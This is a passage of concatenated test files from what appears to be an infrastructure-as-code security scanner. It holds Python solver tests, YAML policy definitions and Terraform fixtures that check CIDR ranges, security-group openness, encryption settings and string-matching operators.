{len(results)}") for expected_entity in expected_entities: found = False for check_result in results: entity_id = check_result.resource if entity_id == expected_entity: found = True break self.assertTrue(found, f"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}") def get_policy_results(root_folder: str, check_ids: list[str], external_registries=None): graph_runner = Runner() graph_runner.external_registries = external_registries if external_registries else [] report = graph_runner.run(root_folder, runner_filter=RunnerFilter(checks=check_ids)) return report def wrap_policy(policy): policy['query'] = policy['definition'] del policy['definition'] def load_yaml_data(source_file_name: str, dir_path: str) -> dict[str, Any] | None: expected_path = os.path.join(dir_path, source_file_name) if not os.path.exists(expected_path): return None with open(expected_path, "r") as f: expected_data = yaml.safe_load(f) return json.loads(json.dumps(expected_data)) ================================================ FILE: tests/terraform/graph/checks_infra/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/CIDRRangeNotSubsetList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "CIDRRangeNotSubsetList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "cidr_value" operator: "cidr_range_not_subset" value: - "10.0.0.0/8" - "172.16.0.0/12" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/CIDRRangeNotSubsetString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "CIDRRangeNotSubsetString" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "cidr_value" operator: "cidr_range_not_subset" value: - "10.0.0.0/8" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/IPV6CIDRRangeNotSubsetList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "IPV6CIDRRangeNotSubsetList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "ipv6_cidr_value" operator: "cidr_range_not_subset" value: - "fc00::/7" - "fe80::1" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/JsonPathCIDRRangeNotSubsetList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathCIDRRangeNotSubsetList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "cidr_value" operator: "jsonpath_cidr_range_not_subset" value: - "10.0.0.0/8" - "172.16.0.0/12" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/JsonPathCIDRRangeNotSubsetString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathCIDRRangeNotSubsetString" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "cidr_value" operator: "jsonpath_cidr_range_not_subset" value: - "10.0.0.0/8" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/JsonPathIPV6CIDRRangeNotSubsetList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathIPV6CIDRRangeNotSubsetList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "ipv6_cidr_value" operator: "jsonpath_cidr_range_not_subset" value: - "fc00::/7" - "fe80::1" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/resources/main.tf ================================================ resource "test" "pass1" { cidr_value = "10.11.10.12/32" } resource "test" "pass2" { cidr_value = 10.11.10.12/32 } resource "test" "pass3" { cidr_value = "10.0.0.0/16" } resource "test" "pass4" { cidr_value = "10.255.255.0/24" } resource "test" "fail1" { cidr_value = "192.169.1.0/32" } resource "test" "fail2" { cidr_value = "172.16.0.0/12" } resource "test" "fail3" { cidr_value = "10.0.0.0/6" } resource "test" "ipv6_pass1" { ipv6_cidr_value = "fd12:3456:789a::/48" } resource "test" "ipv6_pass2" { ipv6_cidr_value = "fcab::/64" } resource "test" "ipv6_fail1" { ipv6_cidr_value = "2001:db8::/32" } resource "test" "ipv6_fail2" { ipv6_cidr_value = "2001:0db8:1234::/48" } resource "test" "ipv6_unknown1" { ipv6_cidr_value = "foo" } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_not_subset_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestCIDRRangeNotSubsetSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestCIDRRangeNotSubsetSolver, self).setUp() def test_cidr_range_not_subset_string_solver(self): root_folder = 'resources' check_id = "CIDRRangeNotSubsetString" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_cidr_range_not_subset_string_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathCIDRRangeNotSubsetString" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_cidr_range_not_subset_list_solver(self): root_folder = 'resources' check_id = "CIDRRangeNotSubsetList" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_cidr_range_not_subset_list_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathCIDRRangeNotSubsetList" should_fail = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4'] should_pass = ['test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_ipv6_cidr_range_not_subset_list_solver(self): root_folder = 'resources' check_id = "IPV6CIDRRangeNotSubsetList" should_fail = ['test.ipv6_pass1', 'test.ipv6_pass2'] should_pass = ['test.ipv6_fail1', 'test.ipv6_fail2', 'test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_ipv6_cidr_range_not_subset_list_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathIPV6CIDRRangeNotSubsetList" should_fail = ['test.ipv6_pass1', 'test.ipv6_pass2'] should_pass = ['test.ipv6_fail1', 'test.ipv6_fail2', 'test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/CIDRRangeSubsetList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "CIDRRangeSubsetList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "cidr_value" operator: "cidr_range_subset" value: - "10.0.0.0/8" - "172.16.0.0/12" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/CIDRRangeSubsetString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "CIDRRangeSubsetString" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "cidr_value" operator: "cidr_range_subset" value: - "10.0.0.0/8" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/IPV6CIDRRangeSubsetList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "IPV6CIDRRangeSubsetList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "ipv6_cidr_value" operator: "cidr_range_subset" value: - "fc00::/7" - "fe80::1" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/JsonPathCIDRRangeSubsetList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathCIDRRangeSubsetList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "cidr_value" operator: "jsonpath_cidr_range_subset" value: - "10.0.0.0/8" - "172.16.0.0/12" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/JsonPathCIDRRangeSubsetString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathCIDRRangeSubsetString" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "cidr_value" operator: "jsonpath_cidr_range_subset" value: - "10.0.0.0/8" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/JsonPathIPV6CIDRRangeSubsetList.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "JsonPathIPV6CIDRRangeSubsetList" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "test" attribute: "ipv6_cidr_value" operator: "jsonpath_cidr_range_subset" value: - "fc00::/7" - "fe80::1" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/resources/main.tf ================================================ resource "test" "pass1" { cidr_value = "10.11.10.12/32" } resource "test" "pass2" { cidr_value = 10.11.10.12/32 } resource "test" "pass3" { cidr_value = "10.0.0.0/16" } resource "test" "pass4" { cidr_value = "10.255.255.0/24" } resource "test" "fail1" { cidr_value = "192.169.1.0/32" } resource "test" "fail2" { cidr_value = "172.16.0.0/12" } resource "test" "fail3" { cidr_value = "10.0.0.0/6" } resource "test" "ipv6_pass1" { ipv6_cidr_value = "fd12:3456:789a::/48" } resource "test" "ipv6_pass2" { ipv6_cidr_value = "fcab::/64" } resource "test" "ipv6_fail1" { ipv6_cidr_value = "2001:db8::/32" } resource "test" "ipv6_fail2" { ipv6_cidr_value = "2001:0db8:1234::/48" } resource "test" "ipv6_unknown1" { ipv6_cidr_value = "foo" } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/cidr_range_subset_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestCIDRRangeSubsetSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestCIDRRangeSubsetSolver, self).setUp() def test_cidr_range_subset_string_solver(self): root_folder = 'resources' check_id = "CIDRRangeSubsetString" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_cidr_range_subset_string_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathCIDRRangeSubsetString" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_cidr_range_subset_list_solver(self): root_folder = 'resources' check_id = "CIDRRangeSubsetList" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_cidr_range_subset_list_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathCIDRRangeSubsetList" should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4'] should_fail = ['test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_ipv6_cidr_range_subset_list_solver(self): root_folder = 'resources' check_id = "IPV6CIDRRangeSubsetList" should_pass = ['test.ipv6_pass1', 'test.ipv6_pass2'] should_fail = ['test.ipv6_fail1', 'test.ipv6_fail2', 'test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_ipv6_cidr_range_subset_list_jsonpath_solver(self): root_folder = 'resources' check_id = "JsonPathIPV6CIDRRangeSubsetList" should_pass = ['test.ipv6_pass1', 'test.ipv6_pass2'] should_fail = ['test.ipv6_fail1', 'test.ipv6_fail2', 'test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.fail1', 'test.fail2', 'test.fail3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/NetworkAclsIPs.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "NetworkACL" scope: provider: "Azure" definition: cond_type: "attribute" resource_types: - "azurerm_key_vault" attribute: "network_acls.ip_rules" operator: "contains" value: "acme" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/PublicSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.cidr_blocks" operator: "contains" value: "0.0.0.0/0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/PublicSGMultipleIngress.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicSGMultipleIngress" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.*.cidr_blocks" operator: "contains" value: "0.0.0.0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/PublicVMs.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicVMs" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "ingress.cidr_blocks" operator: "contains" value: "0.0.0.0/0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/PublicVMsWithJsonpath.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicVMsWithJsonpath" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_default_security_group" attribute: "ingress.cidr_blocks" operator: "jsonpath_contains" value: "0.0.0.0/0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/SpecificBlockSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "SpecificBlockSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.cidr_blocks" operator: "contains" value: "10.2.2.0/24" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/TagIncludes.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "TagIncludes" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "all" attribute: "tags" operator: "contains" value: "acme" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/VariableDependentPolicy.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "VariableDependentPolicy" scope: provider: "aws" definition: or: - cond_type: "attribute" resource_types: - "aws_s3_bucket_acl" attribute: "access_control_policy.grant.*.grantee.id" operator: "contains" value: "data.aws_canonical_user_id.current.id" - cond_type: "attribute" resource_types: - "aws_s3_bucket_acl" attribute: "access_control_policy.grant.*.grantee.id" operator: "contains" value: "xyz" - cond_type: "attribute" resource_types: - "aws_s3_bucket_acl" attribute: "access_control_policy.grant.*.grantee.id" operator: "not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/contains_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestContainsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestContainsSolver, self).setUp() def test_public_virtual_machines(self): root_folder = '../../../resources/public_virtual_machines' check_id = "PublicVMs" should_pass = ['aws_default_security_group.default_security_group_open'] should_fail = ['aws_default_security_group.default_security_group_closed'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_public_virtual_machines_with_jsonpath(self): root_folder = '../../../resources/public_virtual_machines' check_id = "PublicVMsWithJsonpath" should_pass = ['aws_default_security_group.default_security_group_open'] should_fail = ['aws_default_security_group.default_security_group_closed'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_list_cidr_blocks(self): root_folder = '../../../resources/security_group_list_cidr_blocks' check_id = "PublicSG" should_pass = [] should_fail = ['aws_security_group.passed_cidr_block', 'aws_security_group.failed_cidr_blocks'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_list_cidr_blocks_specific(self): root_folder = '../../../resources/security_group_list_cidr_blocks' check_id = "SpecificBlockSG" should_pass = ['aws_security_group.passed_cidr_block'] should_fail = ['aws_security_group.failed_cidr_blocks'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_contains_dict(self): root_folder = '../../../resources/tag_includes' check_id = "TagIncludes" should_pass = ['aws_instance.some_instance', 'aws_subnet.acme_subnet'] should_fail = ['aws_s3_bucket.acme_s3_bucket'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_contains_string_list(self): root_folder = '../../../resources/security_group_list_cidr_blocks' # this tests a specific condition related to wildcard expression evaluation and is not necessarily a full # solver test check_id = "PublicSGMultipleIngress" should_pass = [] should_fail = ['aws_security_group.passed_multiple_ingress'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_none_network_acl_ips(self): root_folder = '../../../resources/none_contains' check_id = "NetworkACL" should_pass = [] should_fail = ['azurerm_key_vault.kv'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_variable_dependent_policy(self): root_folder = '../../../resources/variable_dependent_policy' check_id = "VariableDependentPolicy" should_pass = ['aws_s3_bucket_acl.example5'] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/AmiEndingWith.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "AmiEndingWith" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_instance" attribute: "ami" operator: "ending_with" value: "-0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/AmiEndingWithJsonpath.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "AmiEndingWithJsonpath" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_instance" attribute: "ami" operator: "jsonpath_ending_with" value: "-0" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/UnrenderedVar.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "UnrenderedVar" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "bucket" operator: "ending_with" value: "abcdefg" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/ending_with_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestEndingWithSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestEndingWithSolver, self).setUp() def test_ami_ending_with(self): root_folder = '../../../resources/public_virtual_machines' check_id = "AmiEndingWith" should_pass = ['aws_instance.with_open_def_security_groups'] should_fail = ['aws_instance.with_closed_def_security_groups', 'aws_instance.with_open_security_groups', 'aws_instance.with_subnet_public', 'aws_instance.with_subnet_not_public',] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_ami_ending_with_jsonpath(self): root_folder = '../../../resources/public_virtual_machines' check_id = "AmiEndingWithJsonpath" should_pass = ['aws_instance.with_open_def_security_groups'] should_fail = ['aws_instance.with_closed_def_security_groups', 'aws_instance.with_open_security_groups', 'aws_instance.with_subnet_public', 'aws_instance.with_subnet_not_public',] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_unrendered(self): root_folder = '../../../resources/variable_rendering/unrendered' check_id = "UnrenderedVar" should_pass = [] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_ignore_case_solver/BooleanString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "BooleanString" scope: provider: "Azure" definition: cond_type: "attribute" resource_types: - "azurerm_storage_account" attribute: "allow_blob_public_access" operator: "equals_ignore_case" value: "TRUE" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_ignore_case_solver/EncryptedResources.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "EncryptedResources" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_rds_cluster" - "aws_neptune_cluster" - "aws_s3_bucket" attribute: "encryption_" operator: "equals_ignore_case" value: "encrypted" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_ignore_case_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_ignore_case_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestEqualsIgnoreCaseSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestEqualsIgnoreCaseSolver, self).setUp() def test_equals_ignore_case_solver_wildcard(self): root_folder = '../../../resources/encryption_test' check_id = "EncryptedResources" should_pass = ['aws_rds_cluster.rds_cluster_encrypted', 'aws_s3_bucket.encrypted_bucket', 'aws_neptune_cluster.encrypted_neptune'] should_fail = ['aws_rds_cluster.rds_cluster_unencrypted', 'aws_s3_bucket.unencrypted_bucket', 'aws_neptune_cluster.unencrypted_neptune'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestEqualsIgnoreCaseSolver, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_equals_ignore_case_solver_boolean(self): root_folder = '../../../resources/boolean_test' check_id = "BooleanString" should_pass = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2', 'azurerm_storage_account.fail3'] should_fail = ['azurerm_storage_account.pass1', 'azurerm_storage_account.pass2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestEqualsIgnoreCaseSolver, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/BooleanString.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "BooleanString" scope: provider: "Azure" definition: cond_type: "attribute" resource_types: - "azurerm_storage_account" attribute: "allow_blob_public_access" operator: "equals" value: "true" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/Complex.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "Complex" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "x" attribute: "list" operator: "equals" value: - "a" - "list" - "of values" - cond_type: "attribute" resource_types: - "x" attribute: "dict" operator: "equals" value: a_key: "a value" another: "another" - cond_type: "attribute" resource_types: - "x" attribute: "complex" operator: "equals" value: - key: "value" key2: "value2" listkey: - "list1" - "list2" - key: "value22" key2: "value22" listkey: - "listx" - "listy" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/EncryptedResources.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "EncryptedResources" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_rds_cluster" - "aws_neptune_cluster" - "aws_s3_bucket" attribute: "encryption_" operator: "equals" value: "ENCRYPTED" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/PublicDBSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicDBSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_db_security_group" attribute: "ingress.cidr" operator: "equals" value: "10.0.0.0/24" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/SGPorts.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "SGPorts" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress.*.to_port" operator: "equals" value: "8182" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/UnrenderedVar.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "UnrenderedVar" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "bucket" operator: "equals" value: "abcdefg" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestEqualsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestEqualsSolver, self).setUp() def test_equals_solver_simple(self): root_folder = '../../../resources/public_security_groups' check_id = "PublicDBSG" should_pass = ['aws_db_security_group.aws_db_security_group_private'] should_fail = ['aws_db_security_group.aws_db_security_group_public'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_equals_solver_wildcard(self): root_folder = '../../../resources/encryption_test' check_id = "EncryptedResources" should_pass = ['aws_rds_cluster.rds_cluster_encrypted', 'aws_s3_bucket.encrypted_bucket', 'aws_neptune_cluster.encrypted_neptune'] should_fail = ['aws_rds_cluster.rds_cluster_unencrypted', 'aws_s3_bucket.unencrypted_bucket', 'aws_neptune_cluster.unencrypted_neptune'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestEqualsSolver, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_equals_solver_boolean(self): root_folder = '../../../resources/boolean_test' check_id = "BooleanString" should_pass = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2', 'azurerm_storage_account.fail3'] should_fail = ['azurerm_storage_account.pass1', 'azurerm_storage_account.pass2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestEqualsSolver, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_equals_solver_unrendered(self): root_folder = '../../../resources/variable_rendering/unrendered' check_id = "UnrenderedVar" should_pass = [] should_fail = [] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestEqualsSolver, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_equals_solver_complex(self): root_folder = '../../../resources/complex' check_id = "Complex" should_pass = ['x.x1'] should_fail = ['x.x2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} 